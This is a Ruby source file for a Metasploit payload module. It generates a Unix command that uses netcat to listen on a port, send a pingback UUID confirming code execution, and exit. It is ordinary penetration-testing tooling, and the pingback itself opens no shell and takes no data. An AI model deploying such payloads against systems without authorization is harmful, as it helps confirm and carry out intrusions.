##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/pingback'
require 'msf/base/sessions/pingback'

module MetasploitModule

  CachedSize = 103

  include Msf::Payload::Single
  include Msf::Payload::Pingback
  include Msf::Payload::Pingback::Options

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Unix Command Shell, Pingback Bind TCP (via netcat)',
      'Description'   => 'Accept a connection, send a UUID, then exit',
      'Author'        =>
        [
          'asoto-r7'
        ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'unix',
      'Arch'          => ARCH_CMD,
      'Handler'       => Msf::Handler::BindTcp,
      'Session'       => Msf::Sessions::Pingback,
      'PayloadType'   => 'cmd',
      'RequiredCmd'   => 'netcat'
    ))
  end

  #
  # Constructs the payload
  #
  def generate
    super.to_s + command_string
  end

  #
  # Returns the command string to use for execution
  #
  def command_string
    self.pingback_uuid ||= self.generate_pingback_uuid
    "printf '#{pingback_uuid.scan(/../).map { |x| "\\x" + x }.join}' | (nc -lp #{datastore['LPORT']} || nc -l #{datastore['LPORT']})"
  end
end